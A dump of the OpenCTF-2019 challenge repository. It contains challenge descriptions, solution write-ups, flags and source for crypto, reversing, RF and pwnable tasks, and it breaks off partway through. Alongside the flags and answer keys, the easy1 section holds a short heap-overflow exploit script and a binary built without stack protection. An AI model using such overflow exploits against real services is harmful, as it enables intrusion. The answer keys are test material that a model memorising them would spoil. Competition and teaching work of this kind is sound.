| Category: Reversing, Crypto 14 | 15 | Build: If you actually want to build this, you need a working x86_64-w64-mingw32-gcc which can be gotten with Gentoo crossdev. 16 | 17 | Requirements: 18 | * Windows 64 (not) 19 | 20 | How to run: 21 | ``` 22 | wine antisat.exe 1 23 | ``` 24 | 25 | How to exit: 26 | Ctrl-C will exit 27 | 28 | Challenge Text: 29 | 30 | Our cluster just locked up. Could you see why our sat solver isn't tearing through this? It's a standard Windows 64 binary. 31 | 32 | Notes: 33 | It's not stripped and has debug turned on kinda for a reason. We could strip if we wanted to make the reverse engineering difficult. 34 | -------------------------------------------------------------------------------- /challenges/antisat/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Antisat Solution 2 | *by Javantea* 3 | June 1, 2019 4 | 5 | solve.py cracks the solution using brute force (multithreaded Python). When SAT fails, use brute force. It should look like 6 | 7 | ``` 8 | python3 solve.py 9 | 10 | dt: 15.771 11 | {None} 12 | ... 13 | {None} 14 | {18772, None} 15 | Solved. 16 | dt: 4987.308 17 | 18 | ``` 19 | 20 | For example, with my setup: 21 | 22 | Started: June 1, 2019 14:42 23 | Finished: Sat 01 Jun 2019 04:05:43 PM PDT 24 | 25 | So on 8 threads with a Intel(R) Core(TM) i7-3770K CPU @ 3.50GHz 26 | it took 1 hour 23 minutes. But it skipped 20 rounds at the start, so YMMV by a few hours *shrug* 27 | 28 | If your first dt is significantly larger than 15, you will not solve it as quickly as me. 29 | -------------------------------------------------------------------------------- /challenges/antisat/dist/antisat.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/antisat/dist/antisat.exe -------------------------------------------------------------------------------- /challenges/antisat/flag.txt: -------------------------------------------------------------------------------- 1 | flag{18772} 2 | -------------------------------------------------------------------------------- /challenges/antisat/src/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for Swift 2 | 3 | CFLAGS=-ggdb -O2 -Wall 4 | CC=x86_64-w64-mingw32-gcc 5 | 6 | antisat.exe: antisat.o 7 | $(CC) -o $@ $^ $(LDFLAGS) 8 | -------------------------------------------------------------------------------- /challenges/antisat/src/antisat.c: -------------------------------------------------------------------------------- 1 | /* 2 | Antisat 3 | by Javantea 4 | May 24, 2016 5 | 6 | All right granted to Neg9 members. 7 | gcc -o antisat antisat.c -Wall -ggdb -O2 8 | */ 9 | #include 10 | #include 11 | 12 | int f(int x, int y, int z, int nine) 13 | { 14 | 15 | 16 | int v = x + y; 17 | int w = x ^ z; 18 | 19 | int t = x & 0xff11ff; 20 | int u = y + 0xff11ff; 21 | int a = z * nine; 22 | int b = (z * t) % 0x33333; 23 | return (v + w + t) ^ ((u & a) * b); 24 | 25 | } 26 | 27 | int main(int argc, char **argv) 28 | { 29 | if (argc < 2) { 30 | printf("Usage: ./antisat num\n"); 31 | return 1; 32 | } 33 | int r = atoi(argv[1]); 34 | int i; 35 | for(i = 0; i < 1000000; i++) 36 | { 37 | r = f(i, r, 393, 99993); 38 | printf("%i\n", r); 39 | } 40 | if(r == 178104981) { 41 | printf("Good job! flag{%s}\n", argv[1]); 42 | return 0; 43 | } 44 | printf("See ya later.\n"); 45 | return 1; 46 | } 47 | -------------------------------------------------------------------------------- /challenges/asymmetric/README.md: -------------------------------------------------------------------------------- 1 | # Asymmetric 2 | 3 | Original Idea: Jul 23, 2019 4 | Written: Jul 23, 2019 5 | 6 | Score: 7 | 100 8 | 9 | Description: 10 | Simple crypto challenge. Worth very few points, but instructive to those who don't understand AES or RSA. 11 | 12 | Category: crypto 13 | 14 | Solution: solve.py 15 | 16 | Requirements: 17 | 18 | How to run: 19 | python3 src/asymmetric1.py >dist/ciphertext.txt 20 | python3 solve.py 21 | 22 | NOTE: be damned sure that solve.py solves it. if not, you have a bad ciphertext! I did not have enough energy to fix that bug. 23 | 24 | Challenge Text: 25 | 26 | RSA and AES are a good combination. You can probably just use an off-the-shelf implementation at this point. All of the weaknesses are when people try to do something clever with them. 27 | 28 | Notes: 29 | Reading comprehension and understanding of RSA/AES are useful. 30 | -------------------------------------------------------------------------------- /challenges/asymmetric/dist/ciphertext.txt: -------------------------------------------------------------------------------- 1 | b'\x1d\xf6\x1f\x85NAs\x01L\xd7\xdb\xef\xc9\xe6f\x84p-\xc7\xa9s\xf1\xd4\xcbb>\xda\x05\xb5\xfd\xdf=\xa3m\xcaz\xc6n\x04\x8emt\xf3\x91\x9e\xbc\xa2\xa0\xcf\x07\xb6\xb7vK$\xb5V\x9b\xb0\xa9I;\xaf\x8e\x08\xc0A\xdc\xb5\xa8\x04\x84\x15\xf8J\x89\xe4\x85\x02\xdc\xb9\xf6\xd3\xf4\xd7\x1bX\xad\xf2 \xf0m\xbd);\x882\x9d\x11s\x81\x95\x07\x06~X;\xe3\xaaz\x90z\x80\x83\x98\x03g\x92\xe8\xd1\x9f\xb7~$r\x1b\x90\xd0' 2 | b"-\xb6\xd4Qi\xa8\xd5\x90\xa0'x\xae\x0e+\ta" b'w\xd3\xc6_\xed\x1c\xb1\xae\xb6L!d\xeb\x0b&LY\xccV\xc1#\xce\xa3\xe6\xb8\x86[5"\x97:I\xfc5z\xf2\xc1\xe9\xc8G\xb8\xb4=#N\xe0n\x9e\x99:\x1c\x818\xcf\x99\xc3`\xe5\xff[mIS\xc2' 3 | e = 0x1001 n = 0x8700589f891e1e30bc993bc70c37fc5f50d028c4c7c5f0dd5279eb041dac70cc3e1f253dd070ce387ea49161a6726a74984ea2939599bd6ecc791c19aaeb4b9dffb1e4dc1c19e0e3729ce19e4d25c5525b9f3ee8c0107196f76005676c688297b167a2b894b812795996e4b65997fb2a48968c20ceb20b75ac760b77c79320ca1411ba00df71692bd081135fca802191c303b99a1145a4dae6516dc259c84b40ef2ca3f08a0395b166233d52a6591df1baff5f2d3a1931bdcc0616d95e89560df0d5c5ec3c8ce031b60ce98f99e27fbeb7128221cf17f43f2d0e21b8aacc03a4c0c9572b73fae33cd2fcad598307b43d86d34e642596b178772f425cbff2c22d 4 | -------------------------------------------------------------------------------- /challenges/asymmetric/flag.txt: -------------------------------------------------------------------------------- 1 | flag{ro11 your 0wn, re4p the rewards 93eecba5aa5} 2 | -------------------------------------------------------------------------------- /challenges/asymmetric/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | RSA + AES 4 | by Javantea 5 | July 23, 2019 6 | 7 | """ 8 | import Crypto.Cipher.AES 9 | import reverserepr 10 | import sys 11 | 12 | if sys.version_info.major < 3: 13 | print("This script doesn't support python 2. Like at all.") 14 | exit(1) 15 | 16 | a = open('dist/ciphertext.txt', 'r').read() 17 | b = a.split('\n') 18 | 19 | c = reverserepr.reverseRepr(b[0]) 20 | print('c', c) 21 | print(c) 22 | 23 | iv = reverserepr.reverseRepr(b[1]) 24 | q = len(repr(iv)) 25 | print(q, b[1]) 26 | assert(b[1][q] == ' ') 27 | print('iv', iv) 28 | 29 | encrypted = reverserepr.reverseRepr(b[1][q + 1:]) 30 | print('enc', encrypted) 31 | 32 | key = c[:16] 33 | cipher = Crypto.Cipher.AES 34 | 35 | c = cipher.new(key, cipher.MODE_CBC, iv) 36 | decrypted = c.decrypt(encrypted) 37 | print(decrypted) 38 | -------------------------------------------------------------------------------- /challenges/babies_first_secret_letter/README.md: -------------------------------------------------------------------------------- 1 | # Babies First Secret Letter 2 | 3 | *by ColdwaterQ* 4 | 5 | ## Score 6 | 56 7 | 8 | ## Description 9 | The flag is in a non standard format, but is still obvious. 10 | 11 | Fqtk emup ftmf U tqp fa ymwq m otmxxqzsq ur U imzfqp fa sa fa qhmdk rmngxme bmdfk. U emup "xmuy" mzzp suffqp fa iadw. Ufe zaf sdqmf mzp pqruzufqxk ue zaf eaxhqnxq ngff U omz nq nduqnqp mzpp me m nazge U'xx sqf uzfa ftq bmdfmke. Bmdtmbe kag mdq ftuzwuzs ftmf iuxx nq dmxxk anhume ngf iq paz'f fqef hmdk ygot. Qzk tai, U iagxpz'f yuzp m pdmzw ad m bxmuf ar bulm. Kagd otauoq. 12 | 13 | ## Category 14 | crypto 15 | -------------------------------------------------------------------------------- /challenges/babies_first_secret_letter/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 1. Rot14 the challenge text. 2 | * You can use https://www.rot13.com/ 3 | * And get 4 | 5 | Tehy said that I hed to make a challenge if I wanted to go to evary fabulas party. I said \"laim\" annd gitted to work. 6 | Its not great and definitely is not solveble butt I can be briebed andd as a bonus I'll get into the partays. 7 | Parhaps you are thinking that will be rally obvias but we don't test vary much. Eny how, I wouldn't mind a drank or a plait of piza. Your choice. 8 | 9 | 2. Looking through that, you will notice that some words are misspelled and if you notice the name is "babies first secret letter" this is the hint. 10 | * So taking the first letter of each misspelled word you get 11 | 12 | theflagisbbapprovedpp 13 | 14 | * adding spaces 15 | 16 | the flag is bbapprovedpp -------------------------------------------------------------------------------- /challenges/babies_first_secret_letter/flag.txt: -------------------------------------------------------------------------------- 1 | bbapprovedpp 2 | -------------------------------------------------------------------------------- /challenges/babyRSA/README.md: -------------------------------------------------------------------------------- 1 | # babyRSA 2 | Code by drtychai 3 | Created May 8 2019 4 | 5 | Modular arithmetic. 6 | 7 | ## Challenge Description 8 | I finally convinced my friend to encrypt their messages... but I forgot they're not good at math. 9 | 10 | Can you recover the message for me? 11 | 12 | ## Score 13 | 98 14 | 15 | ## Category 16 | crypto -------------------------------------------------------------------------------- /challenges/babyRSA/SOLUTION.md: -------------------------------------------------------------------------------- 1 | This is really just a simple modular arithmetic problem. Since `n` is prime and `e` has no obvious multiplicative inverses that can be found via the extended euclidean algorithm, we don't "really" have any RSA. Instead, we must find the roots of `pt^(e) - ct` modulo `n`. Thus, we are left to solve: 2 | 3 | `ct = pt^(e) mod n` 4 | 5 | To run `sage solve.sage` you need to have: 6 | - python2.7 7 | - sage installed (https://doc.sagemath.org/html/en/installation/) 8 | - pycrypto installed for sage (e.g. `sage -pip install pycrypto`) 9 | 10 | 11 | `solve-direct.py` is a python only implementation that does not derive the roots, but given a hardcoded one, will convert it to bytes. 12 | 13 | -------------------------------------------------------------------------------- /challenges/babyRSA/dist/babyRSA.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/babyRSA/dist/babyRSA.tar.gz -------------------------------------------------------------------------------- /challenges/babyRSA/flag.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/babyRSA/flag.enc -------------------------------------------------------------------------------- /challenges/babyRSA/flag.txt: -------------------------------------------------------------------------------- 1 | flag{c4127ac49a9d1058e0db60e50912b5b611104c60} 2 | -------------------------------------------------------------------------------- /challenges/babyRSA/public.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBHzANBgkqhkiG9w0BAQEFAAOCAQwAMIIBBwKCAQAjmBX+Qutb6C+Nm/lCGGwG 3 | PmOFCiY5qS4nB5Bn05/kwEb7dsRu6zny2qmLhkiQSJXJPZlGcG52aZPitiGKp0a3 4 | miVKPswcE707OavWMls1EEtUaSNWJJQPSNxc2e3BR+/7s7hhJzGAjfgkFy4de88H 5 | RdpfyUufvMmCNwc1RlyYkqXKD8cImSiCBREMdYNfTgY0Vwi29QRWxMW7CkSBjdfk 6 | yd0uflvlJbpNa1+0vdjTjRbIdro4w2tmT/3aVmtjfPV2/n7C2zkCX67SeEWO8Qv8 7 | LzOBEu1PARhO1g3CmkLjO3DN9HuXbLyELIbBOo/m1f/qBaI2ly6TRL3Hulay4tkt 8 | AgEQ 9 | -----END PUBLIC KEY----- 10 | -------------------------------------------------------------------------------- /challenges/babyRSA/solve-direct.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from Crypto.PublicKey import RSA 3 | from Crypto.Util.number import bytes_to_long, long_to_bytes 4 | 5 | with open('public.key','rb') as f: 6 | pubkey = RSA.importKey(f.read()) 7 | 8 | with open('flag.enc','rb') as f: 9 | ct = bytes_to_long(f.read()) 10 | 11 | n = pubkey.n 12 | e = pubkey.e 13 | pt = long_to_bytes(long(""" 14 | 1355220117725492702506322897281662014851794879885128721989382051113198 15 | 7678453218585282215854443992058410527373015010704170142175908900343294 16 | 5167015311154000879728282704924116372244690150790845521941246678265857 17 | 5327757875008618407061561539478597345843229515195567363298272112515705 18 | 7835096743207995851034940085972629889056732771459696384953213002037762 19 | 9778404045836420080833206101802765043229899333039974324073187922954731 20 | 5498162566277235070795316962035253231305091216813577292795184271180530 21 | 0029124117665168106014657485854279805581138700421670760873512636896736 22 | 35277351591233486231002104294656154740594638595325194""".replace("\n", ""))) 23 | 24 | 25 | 26 | print "[*] n : {}".format(n) 27 | print "[*] e : {}".format(e) 28 | print "[*] ct : {}".format(ct) 29 | print "[+] flag: {}".format(pt[203:]) 30 | -------------------------------------------------------------------------------- /challenges/babyRSA/solve.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage 2 | from Crypto.PublicKey import RSA 3 | from Crypto.Util.number import bytes_to_long, long_to_bytes 4 | 5 | with open('public.key','rb') as f: 6 | pubkey = RSA.importKey(f.read()) 7 | 8 | with open('flag.enc','rb') as f: 9 | ct = bytes_to_long(f.read()) 10 | 11 | n = pubkey.n 12 | e = pubkey.e 13 | 14 | print "[*] n : {}".format(n) 15 | print "[*] e : {}".format(e) 16 | print "[*] ct : {}".format(ct) 17 | print "[+] Finding roots..." 18 | 19 | # Solve for roots of '(x^(e) - ct) mod n' where all elements are in polynomial ring GF(n) 20 | F = GF(n) 21 | R. = F['x'] 22 | f = x^e - F(ct) 23 | S = f.roots() 24 | 25 | for i in xrange(len(S)): 26 | print "[+] Root {}: {}".format(i, S[i][0]) 27 | 28 | print "[+] Flag: {}".format(long_to_bytes(S[3][0])[203:]) 29 | -------------------------------------------------------------------------------- /challenges/babyRSA/src/create-flag.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | openssl rsautl -encrypt -inkey public.key -pubin -in flag.txt -out flag.enc 3 | -------------------------------------------------------------------------------- /challenges/babyRSA/src/create-key.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from Crypto.PublicKey import RSA 3 | 4 | n = long(""" 5 | 4493337031664450212532848448292999765342668372801168420931212861076915 6 | 4698397608997456285895481964267343948928655411711877599248227535622678 7 | 8592414966201878463841861795149794699436166094617031680784723884870936 8 | 7466164236437630756613370944095603601302536890181272771950609626002026 9 | 1067117052338913680347738008923800411699319354882374527548189297445272 10 | 8311894906930933243468887118001102890140973982620128107774223288859401 11 | 9295664524955363701596407851836158155375807487553074581785955249083973 12 | 7328825208475609070912583026437562005987497251182614946273769392820462 13 | 37686926616489071067399114117393031141786969077513902381""".replace("\n","")) 14 | e = 16L 15 | 16 | key_params = (n, e) 17 | pubkey = RSA.construct(key_params) 18 | print pubkey.exportKey() 19 | -------------------------------------------------------------------------------- /challenges/babyRSA/src/flag.txt: -------------------------------------------------------------------------------- 1 | flag{c4127ac49a9d1058e0db60e50912b5b611104c60} 2 | -------------------------------------------------------------------------------- /challenges/beaspy/README.md: -------------------------------------------------------------------------------- 1 | # Be a Spy 2 | 3 | Original Idea: 2019-08-09 4 | 5 | Solution: Solution.md 6 | 7 | Requirements: 8 | 9 | How to run: 10 | 11 | How to exit: 12 | 13 | Challenge Text: 14 | 15 | These guys are sleeping on the job. This flag is just sitting in plain view. Peep that password for easy points. Note: the password might be difficult to type, so just ask and we'll give you credit for a near answer. 16 | 17 | Category: 18 | recon 19 | 20 | Score: 21 | 92 -------------------------------------------------------------------------------- /challenges/beaspy/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Be a Spy Solution 2 | 3 | *by Javantea* 4 | Aug 9, 2019 5 | 6 | We have a lot of flags on our side of the table. They are protected mainly by angle. How difficult would it be for someone to just get one? 7 | 8 | We may find out by giving 100 points to someone who just finds this flag. 9 | 10 | At a certain position you can see the post-it note. It is very long, so you'll need to write it down in pieces. 11 | 12 | Flag: flag{easy1_gdb2_Music_F71_TTGYG_M68HC11_minishell_unic0de} 13 | 14 | This involved looking on the table at the conference. You will no longer be able to solve this since it was necesary to be there to do so. -------------------------------------------------------------------------------- /challenges/beaspy/flag.txt: -------------------------------------------------------------------------------- 1 | flag{easy1_gdb2_Music_F71_TTGYG_M68HC11_minishell_unic0de} 2 | -------------------------------------------------------------------------------- /challenges/bible_studies_1/README.md: -------------------------------------------------------------------------------- 1 | # Bible Studies 1 2 | 3 | ## Score 4 | 92 5 | 6 | ## Description 7 | Bust out your handy Bible, or go find one in the conference area if you didn't think to bring one with you. 8 | 9 | 484-4, 575-12, 257-26, 406-70, 81-130, 135-8, 582-84, 232-52 10 | 11 | Note: Flag is not in the standard format. Submit the flag as all lowercase. 12 | 13 | 14 | ## Category 15 | crypto 16 | -------------------------------------------------------------------------------- /challenges/bible_studies_1/SOLUTION.md: -------------------------------------------------------------------------------- 1 | Challenge represents a word-based book cipher using the POC||GTFO "Bible". Pairs of numbers in the challenge description represent page-wordnumber. 2 | -------------------------------------------------------------------------------- /challenges/bible_studies_1/flag.txt: -------------------------------------------------------------------------------- 1 | that was easy now try the hard one 2 | -------------------------------------------------------------------------------- /challenges/bible_studies_2/README.md: -------------------------------------------------------------------------------- 1 | # Bible Studies 2 2 | 3 | ## Score 4 | 99 5 | 6 | ## Description 7 | Same same but different. 8 | 9 | 284-15, 575-3, 101-59, 224-23, 695-112, 341-37, 411-4, 56-21, 735-13, 257-204, 542-6, 119-20, 650-51, 162-8, 298-9, 513-106, 706-12, 328-132, 447-2, 197-13, 576-212, 317-29, 640-16, 36-53, 171-2, 302-67, 491-36, 602-16, 94-21, 423-44, 748-35, 11-41 10 | 11 | Note: Flag is not in the standard format. Submit the flag as all lowercase. 12 | 13 | ## Category 14 | crypto 15 | -------------------------------------------------------------------------------- /challenges/bible_studies_2/SOLUTION.md: -------------------------------------------------------------------------------- 1 | Challenge represents a letter-based book cipher using the POC||GTFO "Bible". Players would have already completed the first word-based cipher, and may notice early that some of the second numbers in the pairs in this challenge are much larger. Pairs of numbers in the challenge description represent page-letternumber. 2 | -------------------------------------------------------------------------------- /challenges/bible_studies_2/flag.txt: -------------------------------------------------------------------------------- 1 | pastor laphroaig would be proud of you 2 | -------------------------------------------------------------------------------- /challenges/blight1/README.md: -------------------------------------------------------------------------------- 1 | #Blight 1 2 | *by Javantea* 3 | *Feb 16, 2019* 4 | 5 | Score: 6 | 100 7 | 8 | Description: 9 | One of many good RF challenges. We give them an IQ file, they decode, return for points. 10 | GFSK is a common mode in radio communication featured in Bluetooth among others. 11 | Can you decode values that have been transmitted? 12 | You should be able to send this through GFSK demod and get the flag. 13 | blight1.bin is untampered. 14 | blight1a.bin is tampered using blight1a.py 15 | 16 | Category: misc 17 | 18 | Build: 19 | * On Gentoo: emerge -av gnuradio 20 | * On other systems: compile blight1.grc into blight1.py 21 | * Run blight1.py which creates blight1.bin. 22 | * Run blight1a.py which creates blight1a.bin which is the challenge binary. 23 | 24 | Notes: 25 | The question running through my mind is.. Can I recover FM? Can I recover AM? Can I recover SSB? Can I recover morse? Yes. 26 | It was actually easy enough that I think people will enjoy it. 27 | 28 | Let's create one challenge for each. Perhaps we could combine into one gigantic flag? 29 | 30 | The flag is guessable, but only if you know what it looks like or sounds like. I'll change that. 31 | 32 | 33 | -------------------------------------------------------------------------------- /challenges/blight1/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Blight1 Solution 2 | *by Javantea* 3 | June 2, 2019 4 | 5 | ## Setup 6 | 7 | ``` 8 | apt install gnuradio 9 | ``` 10 | 11 | ## Directions 12 | 13 | blight1_soln.py decodes the GFSK and outputs the solution to /home/jvoss/sno/rf2/blight1a_soln.out. It should look like the value in blight1a_soln.out which is the flag. 14 | 15 | If you are wondering why you would pick GFSK to demodulate this, the number of modulations currently in use in RF are: AM, FM, PM, QAM, SM, SSB, ASK, APSK, CPM, FSK, MFSK, MSK, OOK, PPM, PSK, SC-FDE, TCM, WDM, and OFDM. GFSK is a fix for FSK which is so popular that it is essentially top 10. When you look at this in an RF scope, you should recognize it as GFSK. 16 | -------------------------------------------------------------------------------- /challenges/blight1/blight1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/blight1/blight1.png -------------------------------------------------------------------------------- /challenges/blight1/blight1_soln.out: -------------------------------------------------------------------------------- 1 | flag{Flume - Never Be Like You feat. Kai https://www.youtube.com/watch?v=Ly7uj0JwgKg} -------------------------------------------------------------------------------- /challenges/blight1/blight1a_soln.out: -------------------------------------------------------------------------------- 1 | bnag{Flume - Never Be Like You feat. Kai https://www.youtube.com/watch?v=Ly7uj0JwgKg} -------------------------------------------------------------------------------- /challenges/blight1/blight2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/blight1/blight2.png -------------------------------------------------------------------------------- /challenges/blight1/dist/blight1a.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/blight1/dist/blight1a.bin -------------------------------------------------------------------------------- /challenges/blight1/flag.txt: -------------------------------------------------------------------------------- 1 | flag{Flume - Never Be Like You feat. Kai https://www.youtube.com/watch?v=Ly7uj0JwgKg} 2 | -------------------------------------------------------------------------------- /challenges/blight1/src/blight1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/blight1/src/blight1.bin -------------------------------------------------------------------------------- /challenges/blight1/src/blight1a.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Blight1a 4 | by Javantea 5 | Feb 17, 2019 6 | 7 | A script to make Blight 1 more difficult! 8 | Take a string that is helpful to the user and embed it in the stream. 9 | It corrupts the flag{ portion, but not enough to actually break the flag because Gaussian FSK. 10 | """ 11 | import random 12 | a = open('blight1.bin','rb').read() 13 | pos = random.randint(0, 15) 14 | ax = b'' 15 | for i in b'are you still looking here?': 16 | ax += a[len(ax):pos] + bytes([i]) 17 | pos += random.randint(0, 15) 18 | 19 | ax += a[len(ax):len(a)] 20 | 21 | open('blight1a.bin','wb').write(ax) 22 | 23 | keystream = [] 24 | pos = 0 25 | 26 | for i in b'are you still looking here?': 27 | x = ax.find(i, pos+1) 28 | keystream.append(x) 29 | pos = x 30 | 31 | keystream = [9, 16, 19, 20, 30, 31, 44, 45, 54, 64, 74, 86, 87, 102, 111, 123, 134, 148, 156, 171, 182, 196, 209, 212, 222, 234, 247] 32 | -------------------------------------------------------------------------------- /challenges/crawl/Makefile: -------------------------------------------------------------------------------- 1 | dist/crawl: 2 | go build -ldflags "-s -w" -o $@ src/crawl.go 3 | 4 | clean: 5 | rm dist/crawl 6 | -------------------------------------------------------------------------------- /challenges/crawl/README.md: -------------------------------------------------------------------------------- 1 | # crawl 2 | 3 | ## Score 4 | 100 5 | 6 | ## Description 7 | Descend into the dungeon and find the flag. 8 | 9 | ## Category 10 | reversing 11 | -------------------------------------------------------------------------------- /challenges/crawl/SOLUTION.md: -------------------------------------------------------------------------------- 1 | This is a dungeon crawler which has a chest on the lowest level. 2 | When opening the chest it takes the flag string, hashes it with md5, and 3 | compares it to a static checksum of the string that's stored in the binary. 4 | 5 | The trick is finding actually finding the md5 checksum in the binary, which is 6 | a bit tricker in golang since strings aren't null terminated. 7 | 8 | There are some IDA plugins to help reverse go binaries. We can use one of two 9 | plugins to recreate the function names and strings in IDA Pro for golang: 10 | * 11 | * 12 | 13 | Then we can see the `main_open()` function which unlocks the chest. 14 | Seeing that it takes an md5sum of the input, and compares to a string, we pull 15 | that string out, throw it in hashcat, and get the flag. 16 | -------------------------------------------------------------------------------- /challenges/crawl/dist/crawl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/crawl/dist/crawl -------------------------------------------------------------------------------- /challenges/crawl/flag.txt: -------------------------------------------------------------------------------- 1 | flag{0rcz} 2 | -------------------------------------------------------------------------------- /challenges/easy1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | ENV chdir / 4 | 5 | COPY src/easy1 ${chdir} 6 | 7 | WORKDIR ${chdir} 8 | 9 | RUN apk add socat 10 | RUN ln -s lib lib64 11 | RUN ln -s ld-musl-x86_64.so.1 lib/ld-linux-x86-64.so.2 12 | 13 | ENTRYPOINT ["socat", "-dd", "TCP4-LISTEN:5000,fork,reuseaddr", "EXEC:./easy1,pty,rawer,stderr"] 14 | #ENTRYPOINT ["/bin/sh"] 15 | 16 | EXPOSE 5000 17 | -------------------------------------------------------------------------------- /challenges/easy1/README.md: -------------------------------------------------------------------------------- 1 | # Easy 1 2 | 3 | *Code by Javantea* 4 | Original idea July 22, 2017 5 | Updated to be solvable Mar 9-15, 2019 6 | 7 | Score: 100 8 | 9 | Description: Heap overflow one byte. 10 | 11 | Category: pwnable 12 | 13 | Build: `cd src; make easy1; mv -i easy1 ..` 14 | 15 | ## Notes 16 | 17 | Exploitable and tested. 18 | The Makefile builds musl, arm, and win32 binaries by default for a reason, but we don't need the musl, arm, or win32 bins. 19 | -------------------------------------------------------------------------------- /challenges/easy1/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Easy 1 Solution 2 | *by Javantea* 3 | Jun 3, 2019 4 | 5 | This flag is retrieved by overwriting one byte on the heap. It is made much more difficult by not providing the binary. The way to find the byte and the value you're supposed to give it is by looking at the responses. 6 | 7 | ``` 8 | ssh -L3001:challenges:9007 javantea@ctf.neg9.net 9 | python3 easy1_solution.py 10 | ... 11 | b'\n10240 1\nf149{heap_overflow_i5_an_art_not_a_sci3nce. Did you?}\n' 12 | 13 | ``` 14 | -------------------------------------------------------------------------------- /challenges/easy1/easy1.arm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/easy1/easy1.arm -------------------------------------------------------------------------------- /challenges/easy1/easy1.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/easy1/easy1.exe -------------------------------------------------------------------------------- /challenges/easy1/easy1.musl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/easy1/easy1.musl -------------------------------------------------------------------------------- /challenges/easy1/easy1_solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Easy1 Solution 4 | by Javantea 5 | Mar 10-15, 2019 6 | 7 | Yay! 8 | """ 9 | from __future__ import print_function 10 | import sys 11 | import socket 12 | host = '127.0.0.1' 13 | if len(sys.argv) > 1: host = sys.argv[1] 14 | s = socket.socket() 15 | s.connect((host, 3001)) 16 | s.send(b'A'*10239 + b'\x01') 17 | data = b'' 18 | while b'}' not in data: 19 | new_data = s.recv(5000) 20 | if new_data == b'': break 21 | data += new_data 22 | print(new_data) 23 | s.close() 24 | -------------------------------------------------------------------------------- /challenges/easy1/flag.txt: -------------------------------------------------------------------------------- 1 | flag{heap_overflow_i5_an_art_not_a_sci3nce. Did you?} 2 | -------------------------------------------------------------------------------- /challenges/easy1/src/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile 2 | 3 | # x86_64 because we're running on someone else's box. 4 | CFLAGS = -O2 -ggdb -Wall -march=x86-64 -D_FORTIFY_SOURCE=0 -fno-stack-protector 5 | ARM_CFLAGS = -O2 -ggdb -Wall -march=armv5t 6 | 7 | LINUX_TARGETS = easy1 easy1.musl #easy2 easy3 easy4 8 | WIN32_TARGETS = easy1.exe #easy2.exe easy3.exe easy4.exe 9 | ARM_TARGETS = easy1.arm #easy2.arm easy3.arm easy4.arm 10 | TARGETS = $(LINUX_TARGETS) $(WIN32_TARGETS) $(ARM_TARGETS) 11 | 12 | all: $(TARGETS) 13 | 14 | # Unnecessary, but possible 15 | %.musl: %.c 16 | x86_64-pc-linux-musl-gcc -o $@ $< $(CFLAGS) $(LDFLAGS) 17 | 18 | %.exe: %.c 19 | i686-pc-mingw32-gcc -o $@ $< $(CFLAGS) $(LDFLAGS) 20 | 21 | %.arm: %.c 22 | arm-unknown-linux-gnueabi-gcc -o $@ $< $(ARM_CFLAGS) $(LDFLAGS) 23 | 24 | clean: 25 | rm -f $(TARGETS) 26 | -------------------------------------------------------------------------------- /challenges/easy1/src/easy1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/easy1/src/easy1 -------------------------------------------------------------------------------- /challenges/easy2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | ENV chdir / 4 | 5 | COPY dist/easy2 ${chdir} 6 | COPY src/flag ${chdir} 7 | 8 | WORKDIR ${chdir} 9 | 10 | RUN apk add socat 11 | RUN ln -s lib lib64 12 | RUN ln -s ld-musl-x86_64.so.1 lib/ld-linux-x86-64.so.2 13 | 14 | ENTRYPOINT ["socat", "-dd", "TCP4-LISTEN:3001,fork,reuseaddr", "EXEC:./easy2,pty,rawer,stderr"] 15 | 16 | EXPOSE 3001 17 | -------------------------------------------------------------------------------- /challenges/easy2/README.md: -------------------------------------------------------------------------------- 1 | # Easy 2 2 | 3 | *Code by Javantea* 4 | Original idea July 22, 2017 5 | Updated to be solvable remotely Mar 15, 2019 6 | Updated to be solvable remotely June 11, 2019 7 | 8 | Score: 